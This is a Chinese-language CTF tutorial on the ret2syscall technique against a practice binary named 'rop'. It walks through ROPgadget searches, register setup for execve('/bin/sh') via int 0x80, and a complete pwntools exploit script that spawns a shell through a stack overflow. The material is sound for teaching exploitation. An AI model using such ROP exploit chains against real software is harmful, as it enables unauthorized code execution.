原理
ret2syscall,即控制程序執行系統調用,獲取 shell。
例子
點擊下載: ret2syscall
首先檢測程序開啓的保護
ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出,源程序爲 32 位,開啓了 NX 保護。接下來利用 IDA 來查看源碼
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
可以看出此次仍然是一個棧溢出。類似於之前的做法,我們可以獲得 v4 相對於 ebp 的偏移爲 108。所以我們需要覆蓋的返回地址相對於 v4 的偏移爲 112。此次,由於我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得 shell,所以我們利用程序中的 gadgets 來獲得 shell,而對應的 shell 獲取則是利用系統調用。
簡單地說,只要我們把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那麼我們在執行 int 0x80 就可執行對應的系統調用。比如說這裏我們利用如下系統調用來獲取 shell
execve("/bin/sh",NULL,NULL)
其中,該程序是 32 位,所以我們需要使得
- 系統調用號,即 eax 應該爲 0xb
- 第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
- 第二個參數,即 ecx 應該爲 0
- 第三個參數,即 edx 應該爲 0
而我們如何控制這些寄存器的值 呢?這裏就需要使用 gadgets。比如說,現在棧頂是 10,那麼如果此時執行了 pop eax,那麼現在 eax 的值就爲 10。但是我們並不能期待有一段連續的代碼可以同時控制對應的寄存器,所以我們需要一段一段控制,這也是我們在 gadgets 最後使用 ret 來再次控制程序執行流程的原因。具體尋找 gadgets 的方法,我們可以使用 ropgadgets 這個工具。
首先,我們來尋找控制 eax 的 gadgets
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "pop|ret" |grep "eax"
可以看到有上述幾個都可以控制 eax,我選取第二個來作爲 gadgets。
這個gadgets可以直接控制其它三個寄存器
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "pop|ret" |grep "ebx" 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
此外,我們需要獲得 /bin/sh 字符串對應的地址。
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --string "/bin/sh" Strings information ============================================================ 0x080be408 : /bin/sh
int 0x80 的地址
root@luo-virtual-machine:~/ctfwiki/task4# ROPgadget --binary ./rop --only "int" Gadgets information ============================================================ 0x08049421 : int 0x80
函數返回時通常會執行下列指令
mov esp ,ebp
pop ebp 上述兩條指令使ebp , esp指向原來的棧,此時esp指向返回地址
ret 使eip變爲返回地址,然後jmp
Syscall的函數調用規範爲:execve(“/bin/sh”, 0,0);
所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0
它對應的彙編代碼爲:
pop eax# 系統調用號載入, execve爲0xb
pop ebx# 第一個參數, /bin/sh的string
pop ecx# 第二個參數,0
pop edx# 第三個參數,0
int 0x80
當初筆者也是不太理解原理的,經過思考得知:
我們構造payload,先填充到ret前,接下來執行ret,這裏因爲要調用execve函數,所以要將對應的寄存器賦值才能執行。
這時候我們開啓了NX,棧不可執行。怎麼把對應的寄存器賦值呢?
這裏用了一個巧妙的辦法,搜索多個gadget片段(ret結尾的),給相應的寄存器賦值。
爲什麼如pop eax ; ret這樣的指令會給寄存器賦值呢?
首先了解一下ret指令幹了什麼,16爲彙編的ret的彙編指令執行如下:
ip=ss*16+sp
sp=sp+2
這時候問題就解決了,因爲指令執行到填充完的ret前時,這時候esp指向ret,緊接着指令執行ret後,即準備執行ret存儲的內容(pop eax;ret),但是ret指令不僅會修改eip,還會把棧頂前移,這時候32位的程序會把esp向棧頂移4位
此時的esp指向的就是我們要賦予eax的值:0xb,ret指令執行完後,eip指向了pop eax;ret。
執行pop eax(將0xb賦給eax,esp+4),在執行ret命令(eip指向esp+4)即pop_edx_ecx_ebx_ret。以此類推將對應的寄存器賦值,最後eip跳轉到int 80的地址執行完成整個ret2syscall
編寫EXP:
#!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 #payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh,int_0x80]) payload=flat(['a'*112,0x080bb196,0xb,0x0806eb90,0,0,0x080be408,0x08049421]) sh.sendline(payload) sh.interactive()
參考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
https://blog.csdn.net/qq_33948522/article/details/93880812